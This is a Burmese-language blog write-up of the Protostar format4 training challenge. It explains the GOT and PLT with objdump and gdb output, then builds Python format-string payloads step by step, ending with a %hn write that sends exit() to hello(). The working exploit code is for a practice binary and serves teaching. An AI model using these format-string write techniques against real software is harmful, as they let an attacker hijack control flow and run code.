0x0E – Global Offset Table Overwrite using Format String

အရင္ post ကေတာ့  Variable ကို modifiy လုပ္တာျဖစ္ပါတယ္။ Modify Variable using Format String

Protostar format 4 က ဒါကိုေလ့လာဖို႕ အေထာက္ကူျပဳမွာျဖစ္ပါတယ္။

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

ဒီေတာ့ ပထမဆံုး နားလည္ထားရမွာကေတာ့ GOT ( Global Offset Table ) ျဖစ္တယ္။

Hint ထဲမွာေျပာထားတာကေတာ့ objdump -TR ကိုသံုးဖို႕ေျပာထားတယ္။

$ objdump -TR format4

format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*  00000000              __gmon_start__
00000000      DF *UND*  00000000  GLIBC_2.0   fgets
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*  00000000  GLIBC_2.0   _exit
00000000      DF *UND*  00000000  GLIBC_2.0   printf
00000000      DF *UND*  00000000  GLIBC_2.0   puts
00000000      DF *UND*  00000000  GLIBC_2.0   exit
080485ec g    DO .rodata        00000004  Base        _IO_stdin_used
08049730 g    DO .bss   00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit

Objudmp walktrough

T ကေတာ့ dynamic symbol table ကိုျပတာျဖစ္ျပီး R ကေတာ့ dynamic relocation ကိုျပတာျဖစ္တယ္။ ဒီထဲေတြမွာသိမ္းထားတာက က်ေနာ္တို႕ယူသံုးထားတဲ့ function ေတြဆိုတာကို အၾကမ္းအားျဖင့္သိနိုင္တယ္။ exit , printf စတာေတြကိုေတြ႕တာကိုး ။ အေသးစိတ္ေရးေပးနိုင္ဖို႕ေတာ့ၾကိဳးစားေနပါတယ္။ ELF file structure တစ္ခုမွာဘာေတြပါလဲ ဘယ္လိုေတြအလုပ္လုပ္လဲေပါ့ ။ အခုေတာ့ GOT ကိုပဲဆက္မယ္။

vuln() function ကို disas လုပ္ၾကည့္မယ္။

(gdb) disas vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   ebp
0x080484d3 <vuln+1>:    mov    ebp,esp
0x080484d5 <vuln+3>:    sub    esp,0x218
0x080484db <vuln+9>:    mov    eax,ds:0x8049730
0x080484e0 <vuln+14>:   mov    DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>:   mov    DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>:   lea    eax,[ebp-0x208]
0x080484f2 <vuln+32>:   mov    DWORD PTR [esp],eax
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    eax,[ebp-0x208]
0x08048500 <vuln+46>:   mov    DWORD PTR [esp],eax
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   mov    DWORD PTR [esp],0x1
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>

exit function ကို သံုးထားတာျဖစ္တဲ့အတြက္ ေနာက္ဆံုးမွာ exit ကို ေခၚထားတာေတြ႕ရပါမယ္။

call 0x80483ec <exit@plt>

exit@plt ဆိုေတာ့ plt ဟာ ဘာေတြပါတာလဲဆိုတာျမင္ေအာင္ၾကည့္မယ္။

$ objdump -d format4

format4:     file format elf32-i386


Disassembly of section .init:

0804834c <_init>:
 804834c:       55                      push   %ebp
 804834d:       89 e5                   mov    %esp,%ebp
 804834f:       53                      push   %ebx
 8048350:       83 ec 04                sub    $0x4,%esp
 8048353:       e8 00 00 00 00          call   8048358 <_init+0xc>
 8048358:       5b                      pop    %ebx
 8048359:       81 c3 a8 13 00 00       add    $0x13a8,%ebx
 804835f:       8b 93 fc ff ff ff       mov    -0x4(%ebx),%edx
 8048365:       85 d2                   test   %edx,%edx
 8048367:       74 05                   je     804836e <_init+0x22>
 8048369:       e8 1e 00 00 00          call   804838c <__gmon_start__@plt>
 804836e:       e8 1d 01 00 00          call   8048490 <frame_dummy>
 8048373:       e8 28 02 00 00          call   80485a0 <__do_global_ctors_aux>
 8048378:       58                      pop    %eax
 8048379:       5b                      pop    %ebx
 804837a:       c9                      leave
 804837b:       c3                      ret

Disassembly of section .plt:

0804837c <__gmon_start__@plt-0x10>:
 804837c:       ff 35 04 97 04 08       pushl  0x8049704
 8048382:       ff 25 08 97 04 08       jmp    *0x8049708
 8048388:       00 00                   add    %al,(%eax)
        ...

0804838c <__gmon_start__@plt>:
 804838c:       ff 25 0c 97 04 08       jmp    *0x804970c
 8048392:       68 00 00 00 00          push   $0x0
 8048397:       e9 e0 ff ff ff          jmp    804837c <_init+0x30>

0804839c <fgets@plt>:
 804839c:       ff 25 10 97 04 08       jmp    *0x8049710
 80483a2:       68 08 00 00 00          push   $0x8
 80483a7:       e9 d0 ff ff ff          jmp    804837c <_init+0x30>

080483ac <__libc_start_main@plt>:
 80483ac:       ff 25 14 97 04 08       jmp    *0x8049714
 80483b2:       68 10 00 00 00          push   $0x10
 80483b7:       e9 c0 ff ff ff          jmp    804837c <_init+0x30>

080483bc <_exit@plt>:
 80483bc:       ff 25 18 97 04 08       jmp    *0x8049718
 80483c2:       68 18 00 00 00          push   $0x18
 80483c7:       e9 b0 ff ff ff          jmp    804837c <_init+0x30>

080483cc <printf@plt>:
 80483cc:       ff 25 1c 97 04 08       jmp    *0x804971c
 80483d2:       68 20 00 00 00          push   $0x20
 80483d7:       e9 a0 ff ff ff          jmp    804837c <_init+0x30>

080483dc <puts@plt>:
 80483dc:       ff 25 20 97 04 08       jmp    *0x8049720
 80483e2:       68 28 00 00 00          push   $0x28
 80483e7:       e9 90 ff ff ff          jmp    804837c <_init+0x30>

080483ec <exit@plt>:
 80483ec:       ff 25 24 97 04 08       jmp    *0x8049724
 80483f2:       68 30 00 00 00          push   $0x30
 80483f7:       e9 80 ff ff ff          jmp    804837c <_init+0x30>

Procedure Linkage Table ထဲမွာေတာ့ ဥပမာ exit@plt ဆိုပါေတာ့ သူကိုေခၚလိုက္တာနဲ႕ စစခ်င္းအလုပ္လုပ္မွာကေတာ့ jmp *0x8049724 တဲ့ ။ ဒီေတာ့ ဒါေတြကိုေခၚရျခင္းသည္ .plt က သက္ဆိုင္ရာဆီကိုျပန္ျပီး Jump လုပ္ေပးမွာမလို႕ျဖစ္တယ္။ ဒီအေၾကာင္းေတြကို ေသခ်ာနားလည္ဖို႕အတြက္ကေတာ့ Dynamic Linking အေၾကာင္းကိုဖတ္ထားဖို႕လိုပါတယ္။ ဒီမွာ ဖတ္ရင္ မဆိုးဘူးထင္တယ္။ example ေလးေတြလဲ ပါတယ္ က်ေနာ္ျပန္ေရးဖို႕ကမလြယ္ဘူး။ အရမ္းမ်ားတယ္။

ok gdb ကိုျပန္သြားမယ္။ vuln function ကေခၚထားတဲ့ exit@plt ကိုျပန္ျပီး disas လုပ္ၾကည့္မယ္။

(gdb) disas 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>:        jmp    DWORD PTR ds:0x8049724
0x080483f2 <exit@plt+6>:        push   0x30
0x080483f7 <exit@plt+11>:       jmp    0x804837c
End of assembler dump.

ဒီေတာ့ exit() ကိုေရာက္ရင္ 0x8049724 ကို jump လုပ္မွာျဖစ္တယ္။ အဲဒါကဘာလဲ ?

(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2

Global Offset Table ကို သြားတာေပါ့ ။

(gdb) x 0x080483f2
0x80483f2 <exit@plt+6>: 0x00003068

ဒီေတာ့ က်ေနာ္တို႕လုပ္ရမွာက exit ကိုေရာက္တဲ့အခါ GOT ထဲကို jump မယ္ဆိုတာကိုက်ေနာ္တို႕သိထားတယ္။ အခုသြားခ်င္တာ hello function ကိုသြားခ်င္တာျဖစ္တယ္။

(gdb) disas hello
Dump of assembler code for function hello:
0x080484b4 <hello+0>:   push   ebp
0x080484b5 <hello+1>:   mov    ebp,esp
0x080484b7 <hello+3>:   sub    esp,0x18
0x080484ba <hello+6>:   mov    DWORD PTR [esp],0x80485f0
0x080484c1 <hello+13>:  call   0x80483dc <puts@plt>
0x080484c6 <hello+18>:  mov    DWORD PTR [esp],0x1
0x080484cd <hello+25>:  call   0x80483bc <_exit@plt>
End of assembler dump.

0x080484b4 သည္ hello function ရဲ႕ address ျဖစ္တယ္။ vuln မွာ အားလံုးျပီးတဲ့အခါ ေသခ်ာေပါက္ exit ျပန္လုပ္မွာျဖစ္တယ္။ အဲဒီေတာ့ exit ေနရာမွာ hello ကို format string ကိုသံုးျပီး overwrite လုပ္နိုင္ရင္ က်ေနာ္တို႕ လုပ္ခ်င္တဲ့ GOT overwrite က အဆင္ေျပျပီ။

gdb နဲ႕ အရင္ စမ္းၾကည့္မယ္။

(gdb) disas vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   ebp
0x080484d3 <vuln+1>:    mov    ebp,esp
0x080484d5 <vuln+3>:    sub    esp,0x218
0x080484db <vuln+9>:    mov    eax,ds:0x8049730
0x080484e0 <vuln+14>:   mov    DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>:   mov    DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>:   lea    eax,[ebp-0x208]
0x080484f2 <vuln+32>:   mov    DWORD PTR [esp],eax
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    eax,[ebp-0x208]
0x08048500 <vuln+46>:   mov    DWORD PTR [esp],eax
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   mov    DWORD PTR [esp],0x1
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
(gdb) break *vuln+61
Breakpoint 1 at 0x804850f: file format4/format4.c, line 22.
(gdb) x ^CQuit
(gdb) 0x8049724
Undefined command: "0x8049724".  Try "help".
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
(gdb) set {int}0x8049724=0x080484b4
Cannot access memory at address 0x8049724
(gdb) info b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x0804850f in vuln at format4/format4.c:22
(gdb) del
Delete all breakpoints? (y or n) y
(gdb) disas vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   ebp
0x080484d3 <vuln+1>:    mov    ebp,esp
0x080484d5 <vuln+3>:    sub    esp,0x218
0x080484db <vuln+9>:    mov    eax,ds:0x8049730
0x080484e0 <vuln+14>:   mov    DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>:   mov    DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>:   lea    eax,[ebp-0x208]
0x080484f2 <vuln+32>:   mov    DWORD PTR [esp],eax
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    eax,[ebp-0x208]
0x08048500 <vuln+46>:   mov    DWORD PTR [esp],eax
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   mov    DWORD PTR [esp],0x1
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
(gdb) break *vuln+49
Breakpoint 2 at 0x8048503: file format4/format4.c, line 20.
(gdb) break *vuln+54
Breakpoint 3 at 0x8048508: file format4/format4.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/format4
Hello

Breakpoint 2, 0x08048503 in vuln () at format4/format4.c:20
20      format4/format4.c: No such file or directory.
        in format4/format4.c
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
(gdb) set {int}0x8049724=0x080484b4
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080484b4
(gdb) c
Continuing.
Hello

Breakpoint 3, vuln () at format4/format4.c:22
22      in format4/format4.c
(gdb) c
Continuing.
code execution redirected! you win

Program exited with code 01.

gdb နဲ႕ကေတာ့ သေဘာေပါက္ျပီ ။ Format String နဲ႕က်ေတာ့ အဲ့ေလာက္မလြယ္ေတာ့ဘူး ။

Format string ကိုျပန္စမ္းမယ္။

import struct

string="%08x."*5

print string

5 ခုပဲထုတ္ၾကည့္လိုက္မယ္။

$ python /tmp/fmt.py | ./format4
00000200.b7fd8420.bffffb34.78383025.3830252e.

Ok  တယ္ ဒီေတာ့ AAAA ေလးေတြထည့္ၾကည့္မယ္။

import struct

string="%08x."*5
pad="AAAABBBBCCCC"

print pad+string

အဆင္ေျပလားၾကည့္မယ္။

$ python /tmp/fmt.py | ./format4
AAAABBBBCCCC00000200.b7fd8420.bffffb34.41414141.42424242.

ဟုတ္ျပီ။ ဒီေတာ့ overwrite ခ်င္တဲ့ ဟာက got ထဲက value ျဖစ္တယ္။  အတိအက်ေျပာရရင္ 0x8049724 ျဖစ္တယ္။

ဒါကို overwrite မလုပ္ခင္ျပန္စမး္ၾကည့္မယ္။

import struct

got=struct.pack("I",0x8049724)
pad="BBBBCCCC"
string="%08x."*3+"%08x"

print got+pad+string

result

$ python /tmp/fmt.py | ./format4
$BBBBCCCC00000200.b7fd8420.bffffb34.08049724

ဒီေတာ့ %n နဲ႕ write လုပ္ၾကည့္လိုက္မယ္။ gdb နဲ႕ debug လုပ္မွ GOT ကိုသက္ေရာက္မွုရွိမရွိျပန္ၾကည့္လို႕ရမွာျဖစ္ပါတယ္။

import struct

got=struct.pack("I",0x8049724)
pad="BBBBCCCC"
string="%08x."*3+"%08n"

print got+pad+string

gdb မွာ input ထည့္ဖို႕ file ထုတ္မယ္။

$ python /tmp/fmt.py > /tmp/exp

gdb မွာ run ျပီး GOT ကို ၾကည့္မယ္။

(gdb) r < /tmp/exp
Starting program: /opt/protostar/bin/format4 < /tmp/exp

Breakpoint 2, 0x08048503 in vuln () at format4/format4.c:20
20      in format4/format4.c
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
(gdb) ni
$BBBBCCCC00000200.b7fd8420.bffffae4.

Breakpoint 3, vuln () at format4/format4.c:22
22      in format4/format4.c
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x00000027

Yay 😀 Overwrite လုပ္သြားျပီ ။ ဒါေပမဲံ 0x00000027 ၾကီးျဖစ္ေနတယ္ ။ အဲဒါကိုလုိခ်င္တာမဟုတ္ဘူး ။ hello ကိုလိုခ်င္တာျဖစ္တယ္။

ဒီလိုဆိုရင္ Control လုပ္နိုင္တဲ့ overwrite ျဖစ္မွရေတာ့မယ္။ ကံေကာင္းတယ္ Modern Binary Exploitation Course ထဲမွာ Controlled Writes ကိုေတြ႕လိုက္တယ္။

Formula

wanted - current +8

ဒါေၾကာင့္ က်ေနာ္ေအာက္ကလိုမ်ိဳး ျပန္ change လိုက္တယ္။ အေရွ႕ က %08x မွာ က်ေနာ္တို႕က formula ကိုသံုးရေတာ့မွာျဖစ္ပါတယ္။

import struct

got=struct.pack("I",0x8049724)
pad="BBBBCCCC"
string="%08x."*2+"%08x%n"

print got+pad+string

ဒါကေရာ ဘယ္လို result ရလဲ ?

(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x00000026

26 တဲ့ ။ ဒါက current ေပါ့ ။

hello function မွာ ေနာက္ဆံုး ၂ လံုးကဘာထည့္ရမွာလဲ ? 0x080484b4 ဆိုေတာ့ b4 ေပါ့ ။ ဒါက wanted

0xb4-0x26+8 = ?

150 ရတယ္။ ဟုတ္ျပီ စမ္းမယ္။

import struct

got=struct.pack("I",0x8049724)
pad="BBBBCCCC"
string="%08x."*2+"%150x%n"

print got+pad+string

b4 ရလားမရလား ျပန္ၾကည့္မယ္။  gdb မွာ ၾကည့္ရမွာေနာ္ ။

(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x000000b4

Yay 😀

wait တစ္ခုတည္း change ရမွာမဟုတ္ဘူး အေရွ႕ကဟာေတြကိုလဲ change ရဦးမယ္။ အဲ့ေတာ့ multiple bytes ဆိုရင္ ဘယ္လို write လုပ္လဲဆိုတာထပ္ျပီးေလ့လာရမယ္။

import struct

got=struct.pack("I",0x8049724)
JUNK="BBBB"
got1=struct.pack("I",0x8049725)
string="%08x."*2+"%150x%n"+"%08x.%x"

print got+JUNK+got1+string

ေနာက္ထပ္ Address တစ္ကို write မယ္ဆိုပါေတာ့ 0x8049724 လိုပဲ 0x8049725 ကို write ခ်င္ေတာ့ JUNK အေနနဲ႕ BBBB ကိုယူမယ္။ အဲ့ေနရာမွာက က်ေနာ္တုိ႕ control လုပ္မွာ write မွာက ေနာက္က %x မွာ

ဒီေတာ့ဘယ္လိုျဖစ္သြားမလဲ

$ python /tmp/fmt.py | ./format4
$BBBB%00000200.b7fd8420. bffffb3442424242.8049725
Segmentation fault

ဒီလိုဆို ၂ ခု စာ write လို႕ရျပီ ။ စမ္ၾကည့္မယ္။

current သိေအာင္အရင္လုပ္ရဦးမယ္ အဲ့ေတာ့ ဒီတိုင္းအရင္ write

import struct

got=struct.pack("I",0x8049724)
JUNK="BBBB"
got1=struct.pack("I",0x8049725)
string="%08x."*2+"%150x%n"+"%08x.%n"

print got+JUNK+got1+string

ဒါဆို current ရမယ္

(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x0000bdb4

current = bd

wanted = 84

0x84 – 0xbd + 8 = -49

Negative vaule ၾကီးထြက္လာတယ္။

Negative value ထြက္လာျပီးဆိုရင္ wanted ရဲ႕ေရွ႕မွာ 1 ထည့္ေပးရမယ္။

0x184 – 0xbd + 8 = 207

import struct

got=struct.pack("I",0x8049724)
JUNK="BBBB"
got1=struct.pack("I",0x8049725)
string="%08x."*2+"%150x%n"+"%207x.%n"

print got+JUNK+got1+string

result

(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x000184b4

wow !

ဒီလို မ်ိဳးစမ္းျပီးေတာ့မွာ Short write ကို သြားေတြ႕တယ္ Haha 😀

import struct

got=struct.pack("I",0x8049724)
JUNK="BBBBCCCC"
#got1=struct.pack("I",0x8049725)
string="%08x."*2+"%08x%hn"
#+"%207x.%n"

print got+JUNK+string

%n ေနရာမွာ %hn နဲ႕ တစ္ခါတည္း တန္းျပီး write လုပ္လို႕ရပါတယ္။ formula ကေတာ့ အရင္အတိုင္းပဲျဖစ္တယ္။

(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x08040026

ဒါကို formula နဲ႕တြက္လိုက္မယ္ ။

0x080484b4 – 0x08040026 + 8 = 33942

ျပန္စမး္မယ္ ။

import struct

got=struct.pack("I",0x8049724)
JUNK="BBBBCCCC"
#got1=struct.pack("I",0x8049725)
string="%08x."*2+"%33942x%hn"
#+"%207x.%n"

print got+JUNK+string

result

(gdb)  x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080484b4

Yay 😀

ဒါဆို exploit နဲ႕စမ္းလိုက္တာေပါ့ ။

$ python /tmp/fmt.py | ./format4

POC

Thanks

3 Comments

1 Trackback / Pingback

  1. 0x10 – Controlling EIP using Heap – Legion of LOL

Comments are closed.